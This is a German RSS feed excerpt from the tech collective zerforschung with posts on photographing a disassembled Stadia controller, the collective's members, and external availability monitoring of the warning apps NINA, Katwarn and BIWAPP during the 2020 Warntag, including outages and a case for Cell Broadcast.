&lt;p&gt;&lt;a href=&#34;https://www.amazon.de/hz/wishlist/ls/1H4WWR8XHG8EI&#34;&gt;https://www.amazon.de/hz/wishlist/ls/1H4WWR8XHG8EI&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Leider bietet nur Amazon eine öffentliche Wunschliste. Wir werden uns zeitnah darum kümmern, Wunschlisten mit separaten Adressen (damit nichts für Berlin in Ulm landet und umgekehrt) direkt hier zu pflegen.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Stadia Controller Explosionsgrafik</title>
      <link>https://zerforschung.org/posts/stadia-controller-explosionsgrafik/</link>
      <pubDate>Mon, 04 Jan 2021 15:54:42 +0100</pubDate>
      
      <guid>https://zerforschung.org/posts/stadia-controller-explosionsgrafik/</guid>
      <description>&lt;p&gt;Google verschenkte letztens wieder Hardware. Das Bedürfnis, neue Hardware sofort aufzuschrauben, machte auch bei diesem Gerät keine Ausnahme und so &lt;a href=&#34;https://twitter.com/zerforschung/status/1342536756860694530&#34;&gt;dokumentierten wir den Prozess auf Twitter&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Und da das Gerät eh schon einmal offen war, wollte es auch noch mal in schön fotografiert werden. Durch Inspiration der großartigen Fotos von &lt;a href=&#34;https://en.wikipedia.org/wiki/Evan_Amos&#34;&gt;Evan Amos&lt;/a&gt;, der seine Aufnahmen in seinem Buch „&lt;a href=&#34;https://www.booklooker.de/B%C3%BCcher/Angebote/infotext=the+game+console+Evan+Amos&#34;&gt;The Game Console&lt;/a&gt;“ veröffentlichte, aber sie vor allem der Allgemeinheit &lt;a href=&#34;https://commons.wikimedia.org/wiki/User:Evan-Amos&#34;&gt;unter CC0 schenkt&lt;/a&gt;, entstand die Idee, eine Explosionsgrafik zu erstellen.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/stadia-controller/stadia_controller_white_bg.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/stadia-controller/stadia_controller_white_bg_preview.jpg&#34;
         alt=&#34;Explosionsgrafik Stadia Controller&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Explosionsgrafik Stadia Controller&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Das ganze ist aufwendig, aber durchaus an einem Abend machbar. Nach dem Vorbild von Evan Amos haben wir die Grafik nun auch &lt;a href=&#34;https://commons.wikimedia.org/wiki/File:Exploded-view-drawing_Google_Stadia_Controller_(transparent_bg).png&#34;&gt;unter einer freien Lizenz auf Wikimedia Commons&lt;/a&gt; geladen.
Die Auflösung der Grafik ist leider etwas niedriger als gewünscht, was einfach mit der Auflösung der zur Verfügung stehenden Kamera zu tun hat.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Wir möchten etwas ausprobieren: Wenn euch unsere Arbeit gefällt, dann überlegt doch, ob ihr uns nicht &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;unterstützen&lt;/a&gt; wollt. Wir arbeiten gerade an einem größeren Projekt, was durchaus etwas kostenintensiver ist. Aber auch Hardware zum auseinandernehmen und Werkzeuge kann man uns zukommen lassen.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Hier noch ein paar weitere Fotos des Stadia Controllers.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/stadia-controller/flash_cpu_makro.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/stadia-controller/flash_cpu_makro.jpg&#34;
         alt=&#34;Makroaufnahme des Flash und CPU-Chip im Hintergrund&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Makroaufnahme des Flash und CPU-Chip im Hintergrund&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/stadia-controller/focusmerge.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/stadia-controller/focusmerge_preview.jpg&#34;
         alt=&#34;Aufnahme der Platine und der Versuch eines Focus-Merges. Oben in der Mitte ist die WLAN-Antenne zu sehen.&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Aufnahme der Platine und der Versuch eines Focus-Merges. Oben in der Mitte ist die WLAN-Antenne zu sehen.&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/stadia-controller/platine.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/stadia-controller/platine_preview.jpg&#34;
         alt=&#34;Gesamtbild der Platine (klick für höhere Auflösung). Die Verunreinigungen auf der rechten Seite sind Flux-Reste vom gescheiterten Versuch den Flash runter zu löten.&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Gesamtbild der Platine (klick für höhere Auflösung). Die Verunreinigungen auf der rechten Seite sind Flux-Reste vom gescheiterten Versuch den Flash runter zu löten.&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/stadia-controller/flash_cpu_makro2.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/stadia-controller/flash_cpu_makro2_preview.jpg&#34;
         alt=&#34;Nahaufnahme des CPU (oben rechts) und des Flash-Chips (links unten)&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Nahaufnahme des CPU (oben rechts) und des Flash-Chips (links unten)&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/stadia-controller/fotosetup.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/stadia-controller/fotosetup_preview.jpg&#34;
         alt=&#34;Bild vom Fotosetup für die Explosionsgrafik&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Bild vom Fotosetup für die Explosionsgrafik&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;</description>
    </item>
    
    <item>
      <title>Forscher*innen</title>
      <link>https://zerforschung.org/forscherinnen/</link>
      <pubDate>Wed, 30 Sep 2020 01:22:36 +0200</pubDate>
      
      <guid>https://zerforschung.org/forscherinnen/</guid>
      <description>&lt;p&gt;zerforschung ist ein freundliches Kollektiv aus Menschen, die Spaß daran haben, Technik auseinander zu nehmen, um zu verstehen, wie diese funktioniert. Wir sind dezentral, aber dank dieses Internets ist das ja nicht weiter schlimm. Aktuell sind es &lt;em&gt;mindestens&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://mastodon.social/@robbi5&#34;&gt;Maxi&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://chaos.social/@HorayNarea&#34;&gt;Thomas&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://chaos.social/@ubahnverleih&#34;&gt;Jenny&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://chaos.social/@pajowu&#34;&gt;pajowu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://twitter.com/LilithWittmann&#34;&gt;Lilith&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;und noch weitere im Kollektiv, die sich eher im Hintergrund wohlfühlen&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Um möglichst viele Menschen an dem Spaß teilhaben zu lassen, dokumentieren wir das ganze hier, auf &lt;a href=&#34;https://twitter.com/zerforschung&#34;&gt;Twitter&lt;/a&gt; und auf &lt;a href=&#34;https://chaos.social/@zerforschung&#34;&gt;Mastodon&lt;/a&gt;. Manchmal packen wir auch Sammlungen von Tweets, die zu lang geworden sind, um sie angenehm zu lesen, nochmal auf diese Seite. Eine genauere Erklärung gibts bei &lt;a href=&#34;https://zerforschung.org/posts/hallo-zerforschung/&#34;&gt;zerforschung, die – Erkenntnisgewinn durch kaputtmachung&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Wenn ihr witzige Gerätschaften habt, die wir mal auseinander nehmen sollen, &lt;a href=&#34;https://zerforschung.org/kontakt/&#34;&gt;schreibt uns einfach&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>99 Notfallapps auf ihrem Weg zum Cell Broadcast</title>
      <link>https://zerforschung.org/posts/99-notfallapps-auf-ihrem-weg-zum-cell-broadcast/</link>
      <pubDate>Tue, 29 Sep 2020 15:38:26 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/99-notfallapps-auf-ihrem-weg-zum-cell-broadcast/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/warntag-app-monitoring/header.jpg&#34; alt=&#34;Headerbild mir Sirene&#34;&gt;&lt;/p&gt;
&lt;p&gt;Wie ihr alle mitbekommen habt (oder vielleicht eben auch nicht) fand am 10. September der &lt;a href=&#34;https://warnung-der-bevoelkerung.de&#34;&gt;erste bundesweite Warntag&lt;/a&gt; statt. Neben Sirenen und Rundfunkunterbrechungen sollten auch die Warn-Apps getestet werden. Aus nicht wirklich nachvollziehbaren Gründen gibt es in Deutschland nicht die eine Warnapp™, nein, es steigen gleich drei wichtige Apps in den Ring:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.bbk.bund.de/DE/NINA/Warn-App_NINA_node.html&#34;&gt;NINA&lt;/a&gt;: Die vom &lt;a href=&#34;https://www.bbk.bund.de&#34;&gt;Bundesamt für Bevölkerungsschutz und Katastrophenhilfe&lt;/a&gt; bereitgestellte App, in deren Fokus die Auslieferung von Katastrophenmeldungen, die in den Zuständigkeitsbereich des Bundes fallen.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.katwarn.de&#34;&gt;Katwarn&lt;/a&gt;: Ursprünglich im Auftrag des &lt;a href=&#34;https://www.voev.de&#34;&gt;Verbandes Öffentlicher Versicherer&lt;/a&gt; von &lt;a href=&#34;https://www.fokus.fraunhofer.de&#34;&gt;Fraunhofer FOKUS&lt;/a&gt; entwickelt, wird aber mittlerweile von vielen Gemeinden, Kreisen und Ländern als offizieller Kanal zum Ausspielen von Katastrophenwarnungen in deren jeweiliger Zuständigkeit genutzt. Zusätzlich existiert nur für Hessen noch eine eigene, weitere App HessenWARN, deren zusätzliche Existenzberechtigung mir komplett schleierhaft ist.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.biwapp.de&#34;&gt;BIWAPP&lt;/a&gt;: Als weitere regionale Warnapp, die von der Marktplatz GmbH entwickelt und betrieben wird, und für manche Kreise, Städte und Gemeinden als deren offizielle Warnapp fungiert.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bis vor kurzem mussten sich BürgerInnen selbst informieren, welche App denn jetzt für ihre Region zuständig ist - um sicher zu gehen aber jedoch alle drei Apps installiert und aktiviert haben, da man sich nicht zwingenderweise immer im gleichen Landkreis aufhält. (&lt;em&gt;okay, dieses Jahr vielleicht schon&lt;/em&gt;). &lt;a href=&#34;https://www.bbk.bund.de/SharedDocs/Downloads/BBK/DE/Presse/Pressemeldung_2019/PM_NINA_KatWarn.pdf?__blob=publicationFile&#34;&gt;Seit Februar 2019&lt;/a&gt; tauschen die Apps ihre Meldungen mit NINA aus (wobei es wohl keinen Austausch zwischen BIWAPP und Katwarn gibt). Das macht doch Lust auf mehr!&lt;/p&gt;
&lt;p&gt;Jedenfalls sollten diese Apps jetzt im Rahmen des Warntags im großen Stile getestet werden, was bei uns doch etwas Interesse hervorrief. So entstand im vorhinein des Warntages die Idee, die Verfügbarkeit der hinter den Warnapps stehenden Serverinfrastruktur von außen zu monitoren. Kurz vor knapp haben wir das ganze am Abend vor dem Warntag dann auch tatsächlich noch schnell eingerichtet.&lt;/p&gt;
&lt;p&gt;Da Monitoring der Verfügbarkeit von Infrastruktur ein normales Vorgehen für den Betrieb von IT ist, gibt es dafür auch eine Menge an fertigen Tools. Die Tools sind in der Regel dafür ausgelegt, Infrastruktur &amp;ldquo;von außen&amp;rdquo; (aus dem Internet) zu beobachten, da bei einem Komplettausfall ein internes Monitoring (im selben Netz, Rechenzentrum, …) auch weg sein könnte. Zudem ist es einfach sinnvoller von Außen zu testen, wenn der normale Anwendungsfall auch von außen passiert.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/warntag-app-monitoring/uptimerobot-uebersicht.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/warntag-app-monitoring/uptimerobot-uebersicht.png&#34;
         alt=&#34;Übersicht der Schnittstellen in UptimeRobot&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Übersicht der Schnittstellen in UptimeRobot&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Wir haben dafür den Service &lt;a href=&#34;https://uptimerobot.com&#34;&gt;UptimeRobot&lt;/a&gt; auf sämtliche uns bekannte Schnittstellen der Apps angesetzt. Dieses Tool misst minütlich, ob der entsprechende Server verfügbar ist und wie lange dieser zum Antworten braucht. Ist die Antwortzeit ungewöhnlich lange, ist das ein Indiz dafür, das der entsprechende Server überlastet ist. Die Infrastruktur für das Ausliefern von Push-Notifications lässt sich von außen leider nicht ohne weitere Informationen über das System monitoren.&lt;/p&gt;
&lt;p&gt;Um an die Information zu kommen, mit welchen Servern und Schnittstellen die Apps sprechen, musste wir die Apps auseinander nehmen - denn die Schnittstellen sind nicht öffentlich dokumentiert und wurden bislang auch nicht auf &lt;a href=&#34;https://fragdenstaat.de/anfragen/?q=nina&#34;&gt;Anfragen nach dem Informationsfreiheitsgesetz&lt;/a&gt; herausgegeben.&lt;/p&gt;
&lt;p&gt;Leider ist es uns in der knappen Zeit nicht gelungen, die Schnittstellen aller Apps heraus zu finden. So konnten wir bei Katwarn nur die ping Zeiten der Server, jedoch nicht die wirkliche Reaktionszeit des Dienstes überwachen.&lt;/p&gt;
&lt;p&gt;Außerdem haben wir noch die Info-Webseiten der Apps mit ins Monitoring aufgenommen.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&#34;und-dann-kam-alles-anders-schlimm&#34;&gt;Und dann kam alles anders schlimm.&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Donnerstag, 10. September 2020, 11 Uhr. Die Sirenen heulen leise am Horizont, aber die Apps pushen nicht.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/warntag-app-monitoring/tumbleweed.jpg&#34; alt=&#34;Tumbleweed&#34;&gt;&lt;/p&gt;
&lt;p&gt;Ein Blick in unser Monitoring zeigt… nichts. Die Vermutung, dass die Telefone keine Nachrichten bekommen, weil die Infrastruktur der Apps zusammen gebrochen ist, konnten wir aus dem Monitoring nicht ablesen. Unsere Vermutung: Entweder hatte jemand verschlafen, die Apps komplett vergessen, oder das Backend zum Einstellen der Meldungen musste abgeraucht sein.&lt;/p&gt;
&lt;p&gt;Eine Vermutung, die sich leider später bestätigte:&lt;/p&gt;
&lt;blockquote class=&#34;twitter-tweet&#34; data-align=&#34;center&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Info 1/3&lt;br&gt;Die bundesweite MoWaS-Meldung konnte nur verspätet zugestellt werden. Grund dafür war eine nicht vorgesehene zeitgleiche Auslösung einer Vielzahl von Warnmeldungen über MoWaS. ^nps&lt;/p&gt;&amp;mdash; BBK (@BBK_Bund) &lt;a href=&#34;https://twitter.com/BBK_Bund/status/1303999807762173952?ref_src=twsrc%5Etfw&#34;&gt;September 10, 2020&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;
&lt;p&gt;Das Traurige daran ist jedoch, dass dies leider keine neue Erkenntnis ist, wie dieser Tweet von 2018 zeigt:&lt;/p&gt;
&lt;blockquote class=&#34;twitter-tweet&#34; data-align=&#34;center&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Die zeitgleiche Nutzung von &lt;a href=&#34;https://twitter.com/hashtag/NINA?src=hash&amp;amp;ref_src=twsrc%5Etfw&#34;&gt;#NINA&lt;/a&gt; durch das Innenministerium NRW sowie einiger Großstädte hat aber zu einer außergewöhnlichen Belastung der technischen Infrastruktur geführt. Die Schwachstellen konnten zwischenzeitlich identifiziert werden. 2/3 ^uf&lt;/p&gt;&amp;mdash; BBK (@BBK_Bund) &lt;a href=&#34;https://twitter.com/BBK_Bund/status/1039429389589598209?ref_src=twsrc%5Etfw&#34;&gt;September 11, 2018&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;
&lt;p&gt;&lt;a href=&#34;https://de.wikipedia.org/wiki/MoWaS&#34;&gt;MoWaS&lt;/a&gt; ist hierbei die bundeseigene Infrastruktur, über die Warnmeldungen eingegeben werden und dann an entsprechende Empfänger, wie Medienbetreiber (Radio, TV, …) aber z.B. auch die Warn-Apps, ausgespielt werden.&lt;/p&gt;
&lt;p&gt;Erst eine halbe Stunde später tauchte im Fall von NINA eine Warnmeldung auf den meisten Geräten auf. Bei KatWarn dauerte es jedoch (auf unseren Testgeräten) noch zwanzig weitere Minuten bis zur Warnung:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/warntag-app-monitoring/katwarn-warnung.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/warntag-app-monitoring/katwarn-warnung.jpg&#34;
         alt=&#34;Katwarn Warnung um 11:51&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Katwarn Warnung um 11:51&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Eine Entwarnung erfolgte nicht.&lt;/p&gt;
&lt;p&gt;Dabei muss man dazu sagen, dass, jedenfalls auf iOS und Android, die Server der Warnapps die Nachrichten gar nicht selbst direkt an das jeweilige Gerät ausliefern, sondern diese an Apple bzw. Google übermitteln, deren Infrastruktur sich dann um die Auslieferung an die Endgeräte kümmert. Da diese im Normalbetrieb minütlich mehrere Millionen&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; Nachrichten ausliefern, lag die Verzögerung mit hoher Wahrscheinlichkeit nicht auf der Seite von Apple und Google.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/warntag-app-monitoring/nina-monitoring.svg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/warntag-app-monitoring/nina-monitoring.svg&#34;
         alt=&#34;Graphen des NINA Monitoring&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Graphen des NINA Monitoring&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Positiv anzumerken ist, dass die Server nach der Auslieferung der Push-Nachricht relativ stabil blieben. An der Stelle lag unsere größte Befürchtung, weil wir davon ausgingen, dass die Benutzenden die Apps über die Mitteilung öffnen werden, was wiederum eine Vielzahl an Anfragen an die Server der Apps bedeutet. Es kann natürlich sein, dass ein angekündigter Probealarm dieses Verhalten nicht so stark auslöst, wie in einem realen Katastrophenszenario. Die Stabilität ist im Ernstfall deswegen wichtig, da die ausführliche Erklärung der Notfalllage erst in der App selbst passiert, da in den Push-Notifications nur sehr begrenzt Platz für Text ist. Die Hälfte dieses Textes wird ja manchmal schon für die teilweise sehr langen Behördennamen verbraucht. Extrem lange Einführungen wie &lt;em&gt;»Sachsen, Lagezentrum der Landesregierung meldet: Der Freistaat Sachsen Informiert:«&lt;/em&gt; sind hier auch nicht hilfreich.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/warntag-app-monitoring/katwarn_nina_lange_namen_push.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/warntag-app-monitoring/katwarn_nina_lange_namen_push.jpg&#34;
         alt=&#34;Zwei Pushmitteilungen, deren Einführung so lang ist, dass man den Inhalt der Meldung nicht sieht&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Zwei Pushmitteilungen, deren Einführung so lang ist, dass man den Inhalt der Meldung nicht sieht&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Weitere Seiten, die wir nicht im Monitoring mit erfasst hatten, waren aber zeitweilig auch nicht erreichbar. Zeitweilig klingt hier erst mal nicht tragisch, für eine kritische Infrastruktur, wie Bevölkerungswarnung im Ernstfall, ist aber genau dies wichtig. Eine 99,99% Verfügbarkeit hilft eben genau nichts, wenn die 0,01% zum einzigen Zeitpunkt liegen, bei dem die Verfügbarkeit wichtig ist.&lt;/p&gt;
&lt;blockquote class=&#34;twitter-tweet&#34; data-align=&#34;center&#34; data-dnt=&#34;true&#34; data-conversation=&#34;none&#34;&gt;&lt;p lang=&#34;en&#34; dir=&#34;ltr&#34;&gt;I did create an uptime check for some official websites. So if we&amp;#39;re ever going to die, German websites ain&amp;#39;t gonna help us 🥺 4/6 locations reported downtime for bbk (dot) bund (dot) de &lt;a href=&#34;https://twitter.com/hashtag/Warntag2020?src=hash&amp;amp;ref_src=twsrc%5Etfw&#34;&gt;#Warntag2020&lt;/a&gt; &lt;a href=&#34;https://t.co/m5uLMARjc1&#34;&gt;pic.twitter.com/m5uLMARjc1&lt;/a&gt;&lt;/p&gt;&amp;mdash; Daniel Freytag (@FRYTG) &lt;a href=&#34;https://twitter.com/FRYTG/status/1303985248523489282?ref_src=twsrc%5Etfw&#34;&gt;September 10, 2020&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;
&lt;p&gt;Wir waren nicht die einzigen, welche die BBK Seite gemonitored haben. Auch die Infoseite zu NINA war zeitweilig überlastet. (Möglicherweise durch Menschen, die sich wunderten warum keine Meldung kam?)&lt;/p&gt;
&lt;hr&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/warntag-app-monitoring/biwapp-down.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/warntag-app-monitoring/biwapp-down.png&#34;
         alt=&#34;BIWAPP Ausfallübersicht ab 11:00&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;BIWAPP Ausfallübersicht ab 11:00&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Einen Totalausfall haben wir auch noch zu vermelden: BIWAPP. Obwohl die Dienste der App per &lt;a href=&#34;https://de.wikipedia.org/wiki/Akamai&#34;&gt;Akamai&lt;/a&gt; ausgeliefert werden, waren diese pünktlich um 11:02 nicht mehr erreichbar, und brauchten selbst danach mehrere Stunden um sich wieder zu erholen.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/warntag-app-monitoring/biwapp-monitoring.svg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/warntag-app-monitoring/biwapp-monitoring.svg&#34;
         alt=&#34;Graphen des BIWAPP Monitoring&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Graphen des BIWAPP Monitoring&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Die App war in dem Zeitraum komplett unbenutzbar, und stürzte an einigen Stellen sogar ab, weil sie ihre Server nicht erreichte. An Apps, die von sich behaupten, Katastrophenwarnungen vorzunehmen, ist der Anspruch an Verfügbarkeit und vorallem Stabilität in Fehlerfällen doch um einiges höher.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/warntag-app-monitoring/katwarn-monitoring.svg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/warntag-app-monitoring/katwarn-monitoring.svg&#34;
         alt=&#34;Graphen des Katwarn Monitoring&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Graphen des Katwarn Monitoring&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Wie oben beschreiben ließ sich die Infrastruktur von Katwarn von uns nicht komplett monitoren, da die Schnittstellen nirgends öffentlich dokumentiert sind. So sah das reine Ping Monitoring für Katwarn eigentlich ganz gut aus, die Realität war allerdings, dass zeitweise selbst ausgelöste Test-Pushmeldungen nicht funktionierten.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://twitter.com/_stk&#34;&gt;Stefan&lt;/a&gt; hatte schon &lt;a href=&#34;https://stefan.bloggt.es/2012/08/was-alles-gehen-wuerde-wenn-man-wollte/&#34;&gt;2012 aufgeschrieben, warum offene Schnittstellen im Katastrophenschutz wichtig wären&lt;/a&gt;, und wir glauben die Problematik hat sich mit der starken Verbreitung unterschiedlicher Arten von Endgeräten und Plattformen nur noch verstärkt.&lt;/p&gt;
&lt;blockquote class=&#34;twitter-tweet&#34; data-align=&#34;center&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Also, wir haben nix gehört.&lt;/p&gt;&amp;mdash; Deutscher Gehörlosen-Bund e.V. (@gehoerlosenbund) &lt;a href=&#34;https://twitter.com/gehoerlosenbund/status/1303985896312643584?ref_src=twsrc%5Etfw&#34;&gt;September 10, 2020&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;
&lt;p&gt;Das klingt erst mal witzig, zeigt aber, dass allein akustisches Warnen ganze Menschengruppen einfach ausschließt. Und Menschen mit anderen Einschränkungen haben ganz andere Anforderungen an eine Warnmeldung. Auch um diese verschiedenen Anforderungen zu erfüllen, könnten offene Schnittstellen weiterhelfen.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&#34;ungeklärte-auffälligkeiten-im-monitoring&#34;&gt;Ungeklärte Auffälligkeiten im Monitoring&lt;/h3&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/warntag-app-monitoring/katwarn-webseiten.svg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/warntag-app-monitoring/katwarn-webseiten.svg&#34;
         alt=&#34;Graphen der Katwarn Webseiten&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Graphen der Katwarn Webseiten&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Etwas unklar ist uns, warum hessenwarn.de nach 12:00 teilweise sehr langsame Antwortzeiten generierte, obwohl dies eigentlich nur eine Weiterleitung auf die Webseite des &lt;a href=&#34;https://innen.hessen.de/sicherheit/hessenwarn&#34;&gt;hessischen Innenministeriums&lt;/a&gt; sind.&lt;/p&gt;
&lt;p&gt;Das gleiche Verhalten zeigte auch das österreischische katwarn.at, obwohl da der Warntag erst am 3. Oktober stattfindet. katwarn.at hatten wir versucht zu monitoren, um zu schauen, ob ein Warntag in Deutschland das System in Österreich beeinflusst.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/warntag-app-monitoring/nina-alle-dienste.svg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/warntag-app-monitoring/nina-alle-dienste.svg&#34;
         alt=&#34;Graphen aller NINA Dienste&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Graphen aller NINA Dienste&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Auch in den Monitoringdaten von NINA gibt es von ca. 17:00 bis 21:00 Uhr eine starke Erhöhung der Antwortzeiten an allen Schnittstellen. Auch hier ist uns die Ursache des Problems unklar.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&#34;cell-broadcast&#34;&gt;Cell Broadcast&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Warnung: Die folgenden Abschnitte wurden unter Einfluss von gefährlichem Halbwissen über Cell-Broadcast geschrieben.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Die Frage warum im deutschen Katastrophenschutz nicht auf &lt;a href=&#34;https://de.wikipedia.org/wiki/Cell_Broadcast&#34;&gt;Cell Broadcast&lt;/a&gt; gesetzt wird, wurde in den letzten Tagen schon öfter zu Recht gestellt. Während CB-Meldungen von allen Telefonen unterstützt werden, haben Apps den Nachteil, dass sie nicht für alle Telefone verfügbar sind. Außerdem werden Push-Notifications von Nutzenden im stummgeschalteten Modus oder Nachtmodus nicht bemerkt, während Cell Broadcast Nachrichten von den Telefonen priorisiert behandelt werden können. Außerdem können sich die Warnapp Notifications zwischen tausenden Benachrichtigungen anderer Apps, die wir täglich von Messengern bekommen, visuell nicht abheben, was bei CB-Nachrichten möglich ist. Der enorme Nachteil, dass die App auch noch aktiv installiert werden muss, und eigentlich nicht nur eine App, sondern mindestens drei ist gegenüber CB überhaupt nicht vertretbar. Außerdem können CB-Nachrichten auch bei stark überlasteten Netz in vielen Fällen noch zugestellt werden. Für weitere Infos, wie Karten und längere Texte sind die Apps vielleicht brauchbar, für die eigentliche Benachrichtigung allerdings nicht. Ein Link in der CB-Nachricht würde die Aufgabe weitere Infos bereitzustellen, aber genauso gut erledigen.&lt;/p&gt;
